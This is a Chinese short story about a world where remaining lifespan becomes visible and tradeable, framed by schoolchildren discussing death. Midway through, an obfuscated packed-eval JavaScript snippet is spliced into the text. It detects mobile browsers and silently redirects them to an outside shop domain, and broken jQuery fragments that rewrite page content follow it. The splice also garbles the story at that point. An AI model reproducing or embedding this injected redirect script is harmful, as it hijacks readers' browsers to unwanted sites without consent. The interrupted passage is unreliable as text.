湮篇终则余年
教室里不知道为什么聊起了“如果能知道自己什么时候死”这件事。
起初只是西西说起昨天看过的一部电影。电影里的主人公意外得知自己只剩下不到一年的时间，于是突然开始做很多以前不敢做的事情。糖糖觉得这样的故事很伤感，安安却觉得，如果一个人真的知道自己还能活多久，说不定反而会活得更加认真。
“如果我知道自己还能活五十年，”糖糖说，“那我肯定不会着急。五十年呢，好长。”
西西马上问：“那如果只有五年？”
糖糖想了想，脸上的表情也慢慢认真起来：“那就得赶紧做想做的事情了。”
安安趴在桌子上，看着她们：“可是如果你知道自己只剩五年，会不会每天都想着这件事情？吃饭的时候想，睡觉的时候也想，做什么都觉得时间在减少。”
几个孩子一下安静下来。
坐在旁边的里奈一直没有加入讨论。她只是翻着手里的笔记本，直到西西突然发现她在写东西，便问：“里奈，你又想到故事了吗？”
里奈点了点头。
“这次的故事和寿命有关。”
“寿命？”
“嗯。”
她抬起头，看着几个孩子。
“有一天，人类突然发现，原来一个人还能活多少年，是可以被看见的。”
糖糖睁大眼睛。
“那不是很奇怪吗？”
“更奇怪的是，”里奈说，“后来他们发现，余下的寿命还可以给别人。”
她低下头，在笔记本最后一页写下了故事的名字。
《余年》
＊＊＊
事情最初发生的时候，没有人觉得那会改变整个世界。
一个四十多岁的男人去医院做普通体检，医生根据他的身体状况和既往数据告诉他，如果没有发生严重的意外或者疾病，他大概还能拥有四十多年的寿命。男人听完以后只是笑了笑，说自己现在身体还不错，看来以后还得继续工作很多年。医生也没有把这个数字当成什么确切的东西，因为没有人能够真正知道一个人什么时候死亡。
当天晚上，他回到家，手机却突然弹出了一条陌生的系统通知。
生命信息已更新。
他以为是手机出了问题，点进去以后，屏幕上出现了一行让他完全看不懂的数据。
余年：43年。
下面还有两个按钮。
转让余年。
接受余年。
男人盯着屏幕看了很久，随后把它截图发给了朋友。没想到朋友回复他说，自己的手机上也出现了同样的东西。第二天，这件事情迅速在网络上传开，越来越多人发现自己的手机、电脑甚至一些公共医疗系统里，都出现了一个以前从未存在过的“余年”项目。
有人认为这是全球性的网络攻击，有人认为是某家科技公司正在测试什么新产品，还有人觉得这只是一个恶作剧。
直到一个年轻人真的按下了“转让”。
他因为欠了很多钱，决定把自己的五年余年卖掉。交易完成以后，他账户里的数字从五十三年变成了四十八年，而那个购买寿命的人，则从二十七年变成了三十二年。
两个人都活着。
没有闪光，没有奇迹，也没有任何特殊的身体变化。
唯一改变的，只是两个数字。
可所有人都知道，从那一刻开始，事情已经不一样了。
寿命真的可以交易。
＊＊＊
消息传开以后，人类很快陷入了一种前所未有的兴奋之中。
最开始，人们只是好奇。有人把自己的余年截图发到网上，互相比较谁的数字更多；有人研究自己的家人为什么比自己多十几年；还有人发现，余年的变化似乎并不是简单按照年龄计算，而是与身体状况、遗传因素以及许多没人能够完全解释的东西有关。
可真正让社会发生变化的，是第一批寿命交易。
有人出售三年，有人出售十年，有人甚至一次出售二十年。对于急需用钱的人来说，余年成为了一种从自己未来借钱的方式。一个二十岁的年轻人如果可以用十年的寿命换来一笔足以买房的钱，他会不会愿意？一个四十岁的父亲如果可以用五年的寿命让孩子接受更好的教育，他会不会愿意？
答案很快变得越来越复杂。
因为有人愿意。
而且很多人愿意。
于是寿命开始拥有价格。
一家金融公司甚至很快推出了“余年评估业务”，根据年龄、健康状况和剩余寿命给出售者报价。年轻人的余年价格最高，因为他们的寿命通常更多；年龄越大，余年的价格就越低。有人对此感到愤怒，认为生命不应该像股票一样被定价，可更多的人只是默默地看着自己的账户，计算着如果卖掉五年、十年或者十五年，自己现在能够得到什么。
最荒唐的是，很多人会认真计算。
“我二十二岁，就算卖十年，也还有四十多年。”
“我现在这么缺钱，十年以后的事情谁知道呢？”
“十年换一套房子，应该值得吧。”
类似的话越来越多。
寿命从一种不可触碰的东西，变成了一种可以写在合同里的数字。
＊＊＊
有钱人当然不会放过这个机会。
一个富豪公开宣布愿意支付巨额财富购买余年，新闻连续报道了好几天。许多年轻人主动联系他，希望出售自己的寿命；还有人专门成立中介公司，替买家寻找愿意出售余年的人。
可是很快，他们发现了一条限制。
余年不能无限累积。
一个人可以接受别人转来的寿命，却存在一个无法突破的上限。一个原本还能活三十年的人，即使拥有再多的钱，也不可能把几百年的寿命全部堆到自己身上。于是那些真正富有的人开始尝试寻找更多的方法，他们购买年轻人的余年，投资寿命交易公司，甚至试图通过各种手段提高自己的生命上限。
有人说，这是一种新的财富竞争。
以前富豪竞争的是房产、公司、土地和艺术品，现在他们竞争的是时间。
但真正让普通人感到不安的，并不是富豪可以买到更多寿命，而是人们开始给不同的生命贴上不同的价格。
十八岁的人十年值多少钱？
四十岁的人十年又值多少钱？
七十岁的人十年还值多少钱？
一个年轻人的十年可以换一套房子，一个老人的十年却可能只够支付几个月的生活费。
生命第一次拥有了明确的市场价值。
＊＊＊
当然，也有人从来没有想过出售自己的余年。
一位七十多岁的老人账户里还有十二年的寿命，很多人都劝他卖掉其中几年，因为那笔钱足以让他改善生活。
“您已经这么大年纪了，”一个收购者对他说，“五年换这么多钱，真的不考虑吗？”
老人坐在院子里晒太阳，想了一会儿才笑着摇头。
“我还有十二个春天没看呢。”
收购者没听懂。
老人却没有再解释。他只是望着院子里的树，说年轻的时候总觉得五年、十年都是很漫长的事情，可人到了这个年纪才知道，能够再看一次春天、再看一次夏天，再陪家里人过一次生日，其实都是很具体的事情。
所以他没有出售自己的余年。
也有父母把自己的寿命转给孩子。有一个年轻母亲得知自己的孩子患上重病以后，把自己的十年余年全部转了过去。交易完成以后，她剩下的寿命已经比孩子多不了多少，可她只是摸着孩子的头说：“没关系，至少你可以再长大十年。”
这样的故事越来越多。
有人把余年给父母，有人给孩子，有人给爱人，也有人把自己的一年转给从未见过面的陌生人。
这时候，人们才慢慢发现，寿命交易并不只有金钱。
它还意味着一种过去从来不存在的选择。
一个人可以决定，自己的一部分生命究竟属于自己，还是属于另一个人。
＊＊＊
可问题也正是从这里开始变得复杂。
既然一个人的寿命可以被转让，那么一个人的生命究竟有没有价值差异？
一个每天救人的医生，和一个什么都没有做的普通人，谁更值得拥有更多寿命？
一个研究癌症的科学家，和一个每天只做着普通工作的工人，谁应该活得更久？
一个已经七十岁的老人，和一个刚刚二十岁的年轻人，如果他们同时需要十年寿命，应该给谁？
最开始，人们只是讨论。
后来，有人开始认真计算。
网络上出现了各种所谓的“生命价值排行榜”，有人根据职业、收入、社会贡献甚至学历给人排名。医生、科学家、企业家和优秀运动员被认为应该获得更多的生命资源，而一些长期失业的人、犯罪者以及被认为“对社会没有贡献”的人，则被排在另一边。
一个词开始频繁出现在新闻里。
“意义。”
有人说，一个人的生命应该和他创造的价值相匹配。
也有人反问：“谁有资格判断一个人的生命有没有意义？”
争论越来越激烈。
直到一个组织出现。
他们自称“余年管理协会”。
这个组织最初成立的时候，目的其实很简单，他们帮助老人出售余年，帮助重病患者寻找愿意转让寿命的人，也调查一些强迫他人出售余年的案件。最开始，他们甚至得到了很多人的支持。
可后来，他们开始提出一个更加危险的观点。
他们认为，既然生命资源有限，就应该把它交给“更值得的人”。
一个犯过严重罪行的人，应该失去自己的余年；一个长期伤害家人的人，也应该被扣除寿命；一个对社会没有贡献、只知道浪费资源的人，也应该把部分余年交出来。
最开始，他们针对的都是罪犯。
于是很多人觉得他们做得没错。
可后来，标准开始慢慢变化。
什么叫“没有贡献”？
一个没有工作的人算不算？
一个长期生病的人算不算？
一个年纪太大、已经不能工作的人算不算？
一个每天只是普通地生活，没有取得任何成就的人呢？
没有人能够给出答案。
可那个组织却开始替所有人给出答案。
＊＊＊
林川就是在那个时候发现自己只剩下三个月寿命的。
他二十多岁，没有什么特别出众的地方，学历普通，工作普通，工资也普通。他每天按时上班，下班以后回到自己的小房间，周末偶尔和朋友吃饭，偶尔一个人去公园走走。
他从来没有觉得自己的人生有多么伟大。
可他也从来没有觉得自己的生命没有意义。
直到有一天，他打开自己的生命账户，发现原本还有二十多年的余年，只剩下了三个月。
他以为自己看错了。
他去医院检查，身体没有任何问题；他查看交易记录，发现自己的二十年余年已经被别人购买，可交易过程并没有经过他的同意。
最后，他找到了那个买走自己寿命的人。
那是一位事业非常成功的中年男人。
林川问：“为什么是我？”
男人没有否认。
“因为我需要时间。”
“那为什么买我的？”
男人沉默片刻，说：“因为你的时间没有我的值钱。”
林川看着他。
“你凭什么这么认为？”
“我有公司，有员工，也创造了很多财富。我活二十年，能做的事情比你多。”
林川没有马上反驳。
过了很久，他才问：“那如果我活二十年，也许会遇到一个喜欢我的人，也许会有自己的孩子，也许会帮助一个人，也许什么伟大的事情都做不了，只是每天好好活着呢？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926032|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
男人没有回答。
林川又问：“你怎么知道这些就没有意义？”
这一次，男人彻底沉默了。
林川最终没有要求他把寿命还回来。
他只是离开了。
那天晚上，他走了很久。
他第一次意识到，人类真正危险的地方，并不是寿命可以交易，而是当寿命可以交易以后，人们开始觉得自己有资格替别人决定：
谁的生命更值得。
＊＊＊
三年以后，世界已经彻底习惯了寿命交易。
有人因此变得富有，有人因此失去未来；有人终于能够救活自己的家人，也有人为了眼前的财富，把自己未来最重要的十年提前卖掉。
可是越来越多的人开始后悔。
因为当生命能够被看见以后，人们反而无法像过去那样生活。
一个人每天早晨醒来，第一件事情可能就是打开手机。
“三十六年。”
他松了一口气。
第二天还是打开。
“三十六年。”
可如果某一天数字突然变成了三十五年，他便会陷入恐慌。
以前的人不知道死亡什么时候到来，所以他们可以说“以后再做”；现在的人知道自己还有三十五年，于是开始计算三十五年究竟够不够，甚至连一次旅行、一顿饭、一场恋爱都开始被放进时间表里。
生命明明变得可以计算，活着却反而变得更加疲惫。
就在这个时候，所有人的生命账户突然同时停止了。
没有任何预兆。
一个晚上过去以后，世界上所有的“余年”数据全部消失了。
交易记录消失，账户消失，寿命价格消失，就连那些曾经购买过别人余年的人，也无法再确认自己到底还剩下多少时间。
最开始，人类陷入了巨大的恐慌。
直到几个小时以后，一份本不应该出现在人间的文件被错误地上传到了网络。
文件很短。
上面写着：
生死簿系统发生异常。
余年转移权限错误开放。
人间所有寿命交易均属于系统故障。
权限现已关闭。
人类终于知道，他们这三年来争夺的一切，原来只是一场错误。
而在地府里，负责修复生死簿的小鬼们已经忙得不可开交。
一个小鬼看着密密麻麻的交易记录，忍不住问：“这些人到底转了多少年？”
“很多。”
“那些买来的呢？”
“全部恢复。”
“卖掉的呢？”
“也恢复。”
“那他们这三年不是白忙了吗？”
负责生死簿的小鬼翻了翻记录，最后摇摇头。
“也不能说白忙。”
“为什么？”
他想了一会儿。
“至少他们第一次认真想过，自己为什么想活。”
＊＊＊
系统恢复以后，人类重新失去了查看余年的能力。
没有人知道自己还能活多久。
那些富豪不能再购买别人的生命，贫穷的人也不能再把未来十年换成今天的钱。曾经风靡全球的寿命交易公司一个接一个关闭，所谓的生命价值排行榜也很快消失。
“余年管理协会”最终也解散了。
没有人再知道一个科学家还有多少年，一个工人还有多少年，一个老人还有多少年，也没有人能够证明自己比另一个人更值得活下去。
林川后来找到了一份普通的工作。
生活没有突然变得精彩，他也没有因为经历过那场风波就成为一个特别成功的人。他还是会加班，还是会为房租发愁，周末有时候睡到中午，偶尔和朋友出去吃饭，偶尔一个人坐在公园里发呆。
只是有一天晚上，他下班以后坐在公园长椅上，看见旁边有个老人正在慢慢喂鸽子，远处几个孩子正在草地上追逐。他忽然想起自己曾经只有三个月寿命的时候，那时候他害怕得不得了，每天都觉得时间正在从自己身上流走。
可现在，他不知道自己还能活多久。
也许还有五十年。
也许只有五年。
甚至也许，只有今天晚上。
他坐在那里想了一会儿，忽然觉得肚子有些饿，于是站起来，沿着街道走进了一家小餐馆，点了一碗自己很久没有吃过的面。
他没有计算这碗面需要花掉多少时间。
也没有想自己还剩多少人生。
只是觉得今晚很冷，应该吃点热的。
＊＊＊
故事讲到这里，教室里安静了下来。
糖糖托着下巴问：“所以最后，大家又不知道自己什么时候会死了？”
里奈点点头。
“嗯。”
西西想了想：“我觉得这样也挺好的。如果知道自己还有五十年，我可能就什么都不做；如果知道自己只有一年，我又会每天害怕。”
安安一直没有说话。
过了一会儿，她问里奈：“如果真的可以把自己的寿命给别人，你会把自己的寿命给谁？”
里奈没有立刻回答。
她看了一眼窗外，阳光正好落在教学楼对面的树上，风吹过去的时候，树叶轻轻晃动。
“我不知道。”
“为什么？”
“因为我不知道自己什么时候会死。”
安安愣了一下。
里奈低下头，把笔记本慢慢合上。
“所以我也不知道，我究竟还有多少余年可以给别人。”
几个孩子没有再说话。
上课铃很快响了，大家各自回到座位。老师走进教室，黑板上还留着上一节课没有擦干净的字迹，窗外依然是普通的下午，阳光照进来，落在每个人的课桌上。
没有数字告诉他们还剩多少时间。
没有人知道明天会不会发生什么。
也没有人知道自己的人生究竟还剩下多少页。